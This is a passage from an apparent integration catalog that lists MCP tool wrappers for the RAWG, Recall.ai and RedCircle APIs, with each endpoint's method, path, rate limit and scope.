and Xbox 360 Store -- each with its id, slug, domain, game count and a few representative games. The vocabulary behind the `stores` and `exclude_stores` filters on the games query. GET /api/v1/rawg/stores. Scopes: api. rawg_get_stores_by_id (stores) — Get one storefront by numeric id or slug: its name, domain, description, game count and background image. GET /api/v1/rawg/stores/{id}. Scopes: api. rawg_get_tags (tags) — List the tags RAWG applies to games -- singleplayer, multiplayer, co-op, atmospheric and about 9,700 more -- each with its id, slug, language and game count. Paginated. The vocabulary behind the `tags` filter on the games query. GET /api/v1/rawg/tags. Scopes: api. rawg_get_tags_by_id (tags) — Get one tag by numeric id or slug: its name, language, game count and background image. GET /api/v1/rawg/tags/{id}. Scopes: api. ================================================================================ ## Recall.ai URL: https://www.agenticfabriq.com/integrations/recallai Section: Integrated Tools Recall.ai — 112 MCP tools Provider key: recallai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. recallai_delete_api_v1_audio_mixed_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/audio_mixed/{id}. Scopes: api. recallai_delete_api_v1_audio_separate_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/audio_separate/{id}. Scopes: api. recallai_delete_api_v1_bot_by_id (write, destructive) — Deletes a bot. This can only be done on scheduled bots that have not yet joined a call. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/bot/{id}. Scopes: api. recallai_delete_api_v1_bot_by_id_output_audio (write, destructive) — Causes the bot to stop outputting audio. Base rate limit: 300 requests per min per workspace. DELETE /api/v1/recallai/api/v1/bot/{id}/output_audio. Scopes: api. recallai_delete_api_v1_bot_by_id_output_media (write, destructive) — Causes the bot to stop outputting media; the body's `camera` and `screenshare` flags select which channels to stop. Base rate limit: 300 requests per min per workspace. DELETE /api/v1/recallai/api/v1/bot/{id}/output_media. Scopes: api. recallai_delete_api_v1_bot_by_id_output_screenshare (write, destructive) — Causes the bot to stop screensharing. Base rate limit: 300 requests per min per workspace. DELETE /api/v1/recallai/api/v1/bot/{id}/output_screenshare. Scopes: api. recallai_delete_api_v1_bot_by_id_output_video (write, destructive) — Causes the bot to stop outputting video. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/bot/{id}/output_video. Scopes: api. recallai_delete_api_v1_calendar_user (write, destructive) — Delete calendar user(+disconnect any connected calendars). The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). DELETE /api/v1/recallai/api/v1/calendar/user. Scopes: api. recallai_delete_api_v1_meeting_metadata_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/meeting_metadata/{id}. Scopes: api. recallai_delete_api_v1_participant_events_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/participant_events/{id}. Scopes: api. recallai_delete_api_v1_recording_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/recording/{id}. Scopes: api. recallai_delete_api_v1_transcript_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/transcript/{id}. Scopes: api. recallai_delete_api_v1_video_mixed_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/video_mixed/{id}. Scopes: api. recallai_delete_api_v1_video_separate_by_id (write, destructive) — The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v1/video_separate/{id}. Scopes: api. recallai_delete_api_v2_calendar_events_by_id_bot (write, destructive) — Remove the scheduled bot from a calendar event; returns the updated calendar event. Base rate limit: 600 requests per min per workspace. DELETE /api/v1/recallai/api/v2/calendar-events/{id}/bot. Scopes: api. recallai_delete_api_v2_calendars_by_id (write, destructive) — Deletes a calendar. This will disconnect the calendar. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v2/calendars/{id}. Scopes: api. recallai_delete_api_v2_google_login_groups_by_id (write, destructive) — Deletes an existing Google Login Group. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v2/google-login-groups/{id}. Scopes: api. recallai_delete_api_v2_google_logins_by_id (write, destructive) — Deletes an existing Google Login. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v2/google-logins/{id}. Scopes: api. recallai_delete_api_v2_zoom_oauth_apps_by_id (write, destructive) — Deletes a Zoom OAuth App. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v2/zoom-oauth-apps/{id}. Scopes: api. recallai_delete_api_v2_zoom_oauth_credentials_by_id (write, destructive) — Deletes a Zoom OAuth Credential. The base rate limit for this endpoint is: - 300 requests per min per workspace DELETE /api/v1/recallai/api/v2/zoom-oauth-credentials/{id}. Scopes: api. recallai_get_api_v1_audio_mixed (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/audio_mixed. Scopes: api. recallai_get_api_v1_audio_mixed_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/audio_mixed/{id}. Scopes: api. recallai_get_api_v1_audio_separate (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/audio_separate. Scopes: api. recallai_get_api_v1_audio_separate_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/audio_separate/{id}. Scopes: api. recallai_get_api_v1_billing_usage (read) — Get bot usage statistics The base rate limit for this endpoint is: - 5 requests per min per workspace GET /api/v1/recallai/api/v1/billing/usage. Scopes: api. recallai_get_api_v1_bot (read) — Get a list of all bots The base rate limit for this endpoint is: - 60 requests per min per workspace Recall also accepts arbitrary metadata__<key> query filters (e.g. metadata__customer_id); those dynamic filter names are not offered through this tool. GET /api/v1/recallai/api/v1/bot. Scopes: api. recallai_get_api_v1_bot_by_id (read) — Get a bot instance. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/bot/{id}. Scopes: api. recallai_get_api_v1_calendar_meetings (read) — List all calendar meetings for the calendar user. The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). GET /api/v1/recallai/api/v1/calendar/meetings. Scopes: api. recallai_get_api_v1_calendar_meetings_by_id (read) — The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). GET /api/v1/recallai/api/v1/calendar/meetings/{id}. Scopes: api. recallai_get_api_v1_calendar_user (read) — The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). GET /api/v1/recallai/api/v1/calendar/user. Scopes: api. recallai_get_api_v1_calendar_users (read) — List all calendar users created for the account. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/calendar/users. Scopes: api. recallai_get_api_v1_meeting_direct_connect (read) — Get a list of all Meeting Direct Connect The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/meeting_direct_connect. Scopes: api. recallai_get_api_v1_meeting_direct_connect_by_id (read) — Get a Meeting Direct Connect instance The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/meeting_direct_connect/{id}. Scopes: api. recallai_get_api_v1_meeting_metadata (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/meeting_metadata. Scopes: api. recallai_get_api_v1_meeting_metadata_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/meeting_metadata/{id}. Scopes: api. recallai_get_api_v1_participant_events (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/participant_events. Scopes: api. recallai_get_api_v1_participant_events_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/participant_events/{id}. Scopes: api. recallai_get_api_v1_realtime_endpoint (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/realtime_endpoint. Scopes: api. recallai_get_api_v1_realtime_endpoint_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/realtime_endpoint/{id}. Scopes: api. recallai_get_api_v1_recording (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/recording. Scopes: api. recallai_get_api_v1_recording_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/recording/{id}. Scopes: api. recallai_get_api_v1_sdk_upload (read) — Get a list of all Desktop SDK uploads The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/sdk_upload. Scopes: api. recallai_get_api_v1_sdk_upload_by_id (read) — Get a Desktop SDK upload instance. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/sdk_upload/{id}. Scopes: api. recallai_get_api_v1_transcript (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/transcript. Scopes: api. recallai_get_api_v1_transcript_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/transcript/{id}. Scopes: api. recallai_get_api_v1_video_mixed (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/video_mixed. Scopes: api. recallai_get_api_v1_video_mixed_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/video_mixed/{id}. Scopes: api. recallai_get_api_v1_video_separate (read) — The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v1/video_separate. Scopes: api. recallai_get_api_v1_video_separate_by_id (read) — The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v1/video_separate/{id}. Scopes: api. recallai_get_api_v2_calendar_events (read) — Get a list of calendar events. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/calendar-events. Scopes: api. recallai_get_api_v2_calendar_events_by_id (read) — Get a calendar event instance. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/calendar-events/{id}. Scopes: api. recallai_get_api_v2_calendars (read) — Get a list of calendars. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/calendars. Scopes: api. recallai_get_api_v2_calendars_by_id (read) — Get a calendar instance. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/calendars/{id}. Scopes: api. recallai_get_api_v2_google_login_groups (read) — Get list of all Google Login Groups. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/google-login-groups. Scopes: api. recallai_get_api_v2_google_login_groups_by_id (read) — Get an existing Google Login Group. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/google-login-groups/{id}. Scopes: api. recallai_get_api_v2_google_logins (read) — Get list of all Google Logins. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/google-logins. Scopes: api. recallai_get_api_v2_google_logins_by_id (read) — Get an existing Google Login. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/google-logins/{id}. Scopes: api. recallai_get_api_v2_zoom_meetings_to_credentials (read) — Get a list of all mappings from Zoom Meeting ID to Zoom OAuth Credential. Recall uses mappings internally to determine which credential to use when automatically fetching join tokens for a meeting. GET /api/v1/recallai/api/v2/zoom-meetings-to-credentials. Scopes: api. recallai_get_api_v2_zoom_oauth_app_logs (read) — Get a list of all Zoom OAuth App Logs. Any warnings or errors related to the OAuth App will be logged here, and this can be helpful for debugging. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-app-logs. Scopes: api. recallai_get_api_v2_zoom_oauth_apps (read) — Get a list of all Zoom OAuth Apps. The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-apps. Scopes: api. recallai_get_api_v2_zoom_oauth_apps_by_id (read) — Get a Zoom OAuth App. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-apps/{id}. Scopes: api. recallai_get_api_v2_zoom_oauth_credential_logs (read) — Get a list of all Zoom OAuth Credential Logs. Any warnings or errors related to the OAuth Credential will be logged here, and this can be helpful for debugging. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-credential-logs. Scopes: api. recallai_get_api_v2_zoom_oauth_credentials (read) — Get a list of all Zoom OAuth Credentials The base rate limit for this endpoint is: - 60 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-credentials. Scopes: api. recallai_get_api_v2_zoom_oauth_credentials_by_id (read) — Get a Zoom OAuth Credential. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-credentials/{id}. Scopes: api. recallai_get_api_v2_zoom_oauth_credentials_by_id_access_token (read) — Get the access token for these credentials. The base rate limit for this endpoint is: - 300 requests per min per workspace GET /api/v1/recallai/api/v2/zoom-oauth-credentials/{id}/access-token. Scopes: api. recallai_patch_api_v1_audio_mixed_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/audio_mixed/{id}. Scopes: api. recallai_patch_api_v1_audio_separate_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/audio_separate/{id}. Scopes: api. recallai_patch_api_v1_bot_by_id (write) — Update a Scheduled Bot. The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/bot/{id}. Scopes: api. recallai_patch_api_v1_meeting_metadata_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/meeting_metadata/{id}. Scopes: api. recallai_patch_api_v1_participant_events_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/participant_events/{id}. Scopes: api. recallai_patch_api_v1_realtime_endpoint_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/realtime_endpoint/{id}. Scopes: api. recallai_patch_api_v1_recording_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/recording/{id}. Scopes: api. recallai_patch_api_v1_transcript_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/transcript/{id}. Scopes: api. recallai_patch_api_v1_video_mixed_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/video_mixed/{id}. Scopes: api. recallai_patch_api_v1_video_separate_by_id (write) — The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v1/video_separate/{id}. Scopes: api. recallai_patch_api_v2_calendars_by_id (write) — Update an existing calendar. The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v2/calendars/{id}. Scopes: api. recallai_patch_api_v2_google_login_groups_by_id (write) — Partial Update an existing Google Login Group. The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v2/google-login-groups/{id}. Scopes: api. recallai_patch_api_v2_google_logins_by_id (write) — Partial Update an existing Google Login. The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v2/google-logins/{id}. Scopes: api. recallai_patch_api_v2_zoom_oauth_apps_by_id (write) — Update an existing Zoom OAuth App The base rate limit for this endpoint is: - 300 requests per min per workspace PATCH /api/v1/recallai/api/v2/zoom-oauth-apps/{id}. Scopes: api. recallai_post_api_v1_bot (write) — Create a new bot. The base rate limit for this endpoint is: - 120 requests per min per workspace POST /api/v1/recallai/api/v1/bot. Scopes: api. recallai_post_api_v1_bot_by_id_delete_media (write) — Deletes bot media stored by Recall. This is irreversible. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/delete_media. Scopes: api. recallai_post_api_v1_bot_by_id_leave_call (write) — Removes the bot from the meeting. This is irreversible. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/leave_call. Scopes: api. recallai_post_api_v1_bot_by_id_output_audio (write) — Causes the bot to output audio. Note: The bot must be configured with 'automatic_audio_output' enabled in order to use this endpoint. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/output_audio. Scopes: api. recallai_post_api_v1_bot_by_id_output_media (write) — Causes the bot to start outputting media. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/output_media. Scopes: api. recallai_post_api_v1_bot_by_id_output_screenshare (write) — Causes the bot to start screensharing. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/output_screenshare. Scopes: api. recallai_post_api_v1_bot_by_id_output_video (write) — Causes the bot to start outputting video. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/output_video. Scopes: api. recallai_post_api_v1_bot_by_id_pause_recording (write) — Instructs the bot to pause the current recording. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/pause_recording. Scopes: api. recallai_post_api_v1_bot_by_id_pin_participant (write) — Pin or unpin a participant's video. Note: This is only applicable for 'video_separate_h264' streams The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/pin_participant. Scopes: api. recallai_post_api_v1_bot_by_id_request_recording_permission (write) — Zoom Only: Request recording permission from the host. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/request_recording_permission. Scopes: api. recallai_post_api_v1_bot_by_id_resume_recording (write) — Instructs the bot to resume a paused recording. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/resume_recording. Scopes: api. recallai_post_api_v1_bot_by_id_send_chat_message (write) — Causes the bot to send a message in the meeting chat. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/send_chat_message. Scopes: api. recallai_post_api_v1_bot_by_id_start_recording (write) — Instructs the bot to start recording the meeting. This will restart the current recording if one is already in progress. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/start_recording. Scopes: api. recallai_post_api_v1_bot_by_id_stop_recording (write) — Instructs the bot to end the current recording. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/bot/{id}/stop_recording. Scopes: api. recallai_post_api_v1_calendar_authenticate (write) — Generate an authentication token for calendar APIs, scoped to the user. Each token has an expiry of 1 day from time of creation. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/calendar/authenticate. Scopes: api. recallai_post_api_v1_calendar_meetings_refresh (write) — Resync the calendar meetings for the user. The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). POST /api/v1/recallai/api/v1/calendar/meetings/refresh. Scopes: api. recallai_post_api_v1_calendar_user_disconnect (write) — Disconnect calendar of specific platform. The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). POST /api/v1/recallai/api/v1/calendar/user/disconnect. Scopes: api. recallai_post_api_v1_meeting_direct_connect (write) — Create a new Meeting Direct Connect The base rate limit for this endpoint is: - 60 requests per min per workspace POST /api/v1/recallai/api/v1/meeting_direct_connect. Scopes: api. recallai_post_api_v1_recording_by_id_create_transcript (write) — The base rate limit for this endpoint is: - 5 requests per min per bot POST /api/v1/recallai/api/v1/recording/{id}/create_transcript. Scopes: api. recallai_post_api_v1_sdk_upload (write) — Create a new Desktop SDK upload. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v1/sdk_upload. Scopes: api. recallai_post_api_v2_calendar_events_by_id_bot (write) — Schedule a bot for a calendar event. This endpoint will return the updated calendar event in response. The base rate limit for this endpoint is: - 600 requests per min per workspace POST /api/v1/recallai/api/v2/calendar-events/{id}/bot. Scopes: api. recallai_post_api_v2_calendars (write) — Create a new calendar. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/calendars. Scopes: api. recallai_post_api_v2_calendars_by_id_access_token (write) — Get the OAuth access token for this calendar account. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/calendars/{id}/access-token. Scopes: api. recallai_post_api_v2_google_login_groups (write) — Create a new Google Login Group. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/google-login-groups. Scopes: api. recallai_post_api_v2_google_logins (write) — Create a new Google Login. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/google-logins. Scopes: api. recallai_post_api_v2_zoom_oauth_apps (write) — Create a new Zoom OAuth App. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/zoom-oauth-apps. Scopes: api. recallai_post_api_v2_zoom_oauth_credentials (write) — Create a new Zoom OAuth Credential. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/zoom-oauth-credentials. Scopes: api. recallai_post_api_v2_zoom_oauth_credentials_by_id_sync_meetings (write) — Manually re-sync meetings accessible from these credentials. POST /api/v1/recallai/api/v2/zoom-oauth-credentials/{id}/sync-meetings. Scopes: api. recallai_post_api_v2_zoom_oauth_credentials_by_id_validate (write) — Manually check the validity of credentials, and re-enable them if they are functional. This can be useful if credentials are disabled due to repeated errors. The base rate limit for this endpoint is: - 300 requests per min per workspace POST /api/v1/recallai/api/v2/zoom-oauth-credentials/{id}/validate. Scopes: api. recallai_put_api_v1_calendar_meetings_by_id (write) — Use this endpoint to update override_should_record property of the meeting. The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). PUT /api/v1/recallai/api/v1/calendar/meetings/{id}. Scopes: api. recallai_put_api_v1_calendar_user (write) — Update the recording preferences for a calendar user. The base rate limit for this endpoint is: - 120 requests per min per calendar_user NOT CALLABLE with this integration's workspace API key: this Calendar V1 endpoint takes a per-end-user calendar auth token (x-recallcalendarauthtoken) instead. Use the Calendar V2 tools (recallai_get_api_v2_calendars, recallai_get_api_v2_calendar_events). PUT /api/v1/recallai/api/v1/calendar/user. Scopes: api. recallai_put_api_v2_google_login_groups_by_id (write) — Update an existing Google Login Group. The base rate limit for this endpoint is: - 300 requests per min per workspace PUT /api/v1/recallai/api/v2/google-login-groups/{id}. Scopes: api. recallai_put_api_v2_google_logins_by_id (write) — Update an existing Google Login. The base rate limit for this endpoint is: - 300 requests per min per workspace PUT /api/v1/recallai/api/v2/google-logins/{id}. Scopes: api. ================================================================================ ## RedCircle URL: https://www.agenticfabriq.com/integrations/redcircle Section: Integrated Tools RedCircle — 34 MCP tools Provider key: redcircle. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. redcircle_delete_collections_by_collection_id (collections, destructive) — Delete a Collection and everything in it. DELETE /api/v1/redcircle/collections/{collection_id}. Scopes: api. redcircle_delete_collections_by_collection_id_by_request_id (collections, destructive) — Delete one Request from a Collection. Requests can only be deleted while the Collection is not running. Call this sequentially rather than in parallel -- too many concurrent calls are answered 429; to clear many, use the clear-requests tool or delete and re-create the Collection. DELETE /api/v1/redcircle/collections/{collection_id}/{request_id}. Scopes: api. redcircle_delete_collections_by_collection_id_clear (collections, destructive) — Delete every Request in a Collection, leaving the Collection itself in place. DELETE /api/v1/redcircle/collections/{collection_id}/clear. Scopes: api. redcircle_delete_destinations_by_destination_id (destinations, destructive) — Delete a Destination. Collections referencing it stop uploading their Result Sets there. DELETE /api/v1/redcircle/destinations/{destination_id}. Scopes: api. redcircle_delete_zipcodes (zipcodes, destructive) — Delete zipcodes from your account. The body is an ARRAY of objects, each naming a zipcode and the domain to remove it from. DELETE /api/v1/redcircle/zipcodes. Scopes: api. redcircle_get_account (account) — Retrieve your RedCircle account information, including the request credits used and remaining on the current plan. GET /api/v1/redcircle/account. Scopes: api. redcircle_get_categories (categories) — List or search Target's category hierarchy. Returns known-good category IDs to use with type=category Target Product Data requests. id, parent_id and search_term are mutually exclusive -- supply at most one. GET /api/v1/redcircle/categories. Scopes: api. redcircle_get_collections (collections) — List the Collections on your account, with filtering, sorting and pagination. 25 Collections are returned per page by default. GET /api/v1/redcircle/collections. Scopes: api. redcircle_get_collections_by_collection_id (collections) — Retrieve one Collection, including whether it is currently running and how many Requests and Result Sets it holds. GET /api/v1/redcircle/collections/{collection_id}. Scopes: api. redcircle_get_collections_by_collection_id_requests_by_page (collections) — List one page of a Collection's Requests, 1000 per page, pages starting at 1. The Collection's requests_page_count field says how many pages there are. Supply q to search the Requests and their custom_ids, or custom_id to match one exactly. GET /api/v1/redcircle/collections/{collection_id}/requests/{page}. Scopes: api. redcircle_get_collections_by_collection_id_requests_csv (collections) — Retrieve download links for every Request in a Collection in CSV format, one link per page of results. GET /api/v1/redcircle/collections/{collection_id}/requests/csv. Scopes: api. redcircle_get_collections_by_collection_id_requests_json (collections) — Retrieve download links for every Request in a Collection in JSON format, one link per page of results. GET /api/v1/redcircle/collections/{collection_id}/requests/json. Scopes: api. redcircle_get_collections_by_collection_id_results (collections) — List every Result Set for a Collection. RedCircle retains Result Sets for 14 days, so download the data within that window. GET /api/v1/redcircle/collections/{collection_id}/results. Scopes: api. redcircle_get_collections_by_collection_id_results_by_result_set_id (collections) — Retrieve the results within one Result Set of a Collection. GET /api/v1/redcircle/collections/{collection_id}/results/{result_set_id}. Scopes: api. redcircle_get_collections_by_collection_id_results_by_result_set_id_csv (collections) — Retrieve download links for one Result Set of a Collection in CSV format. GET /api/v1/redcircle/collections/{collection_id}/results/{result_set_id}/csv. Scopes: api. redcircle_get_collections_by_collection_id_results_by_result_set_id_jsonlines (collections) — Retrieve download links for one Result Set of a Collection in JSON Lines format. GET /api/v1/redcircle/collections/{collection_id}/results/{result_set_id}/jsonlines. Scopes: api. redcircle_get_collections_by_collection_id_results_by_result_set_id_resendwebhook (collections) — Ask RedCircle to re-send the webhook POST for one Result Set. Useful for debugging webhook connectivity without re-running the Collection. GET /api/v1/redcircle/collections/{collection_id}/results/{result_set_id}/resendwebhook. Scopes: api. redcircle_get_collections_by_collection_id_start (collections) — Start a Collection running. The account must hold enough request credits for every Request in the Collection. Any schedule_type can be started as long as it is not already running. GET /api/v1/redcircle/collections/{collection_id}/start. Scopes: api. redcircle_get_collections_by_collection_id_stop (collections) — Stop a Collection that is queued or running. Credits allocated to a queued Collection are refunded; a Collection already running is stopped without a refund. GET /api/v1/redcircle/collections/{collection_id}/stop. Scopes: api. redcircle_get_collections_stopall (collections) — Stop every Collection on the account that is currently queued or running, setting them back to idle. Credits allocated to a queued Collection are refunded; a Collection already running is stopped without a refund. GET /api/v1/redcircle/collections/stopall. Scopes: api. redcircle_get_destinations (destinations) — List the Destinations on your account -- the S3, Google Cloud Storage, Azure Blob Storage or Alibaba Cloud OSS buckets that Collection Result Sets are uploaded to. 10 are returned per page. GET /api/v1/redcircle/destinations. Scopes: api. redcircle_get_errorlogs (errorlogs) — List the Error Logs on your account, which record requests that failed and why. 10 are returned per page. GET /api/v1/redcircle/errorlogs. Scopes: api. redcircle_get_request_category (product-data) — List the products in a Target category by category ID, with the same sorting, delivery-type, 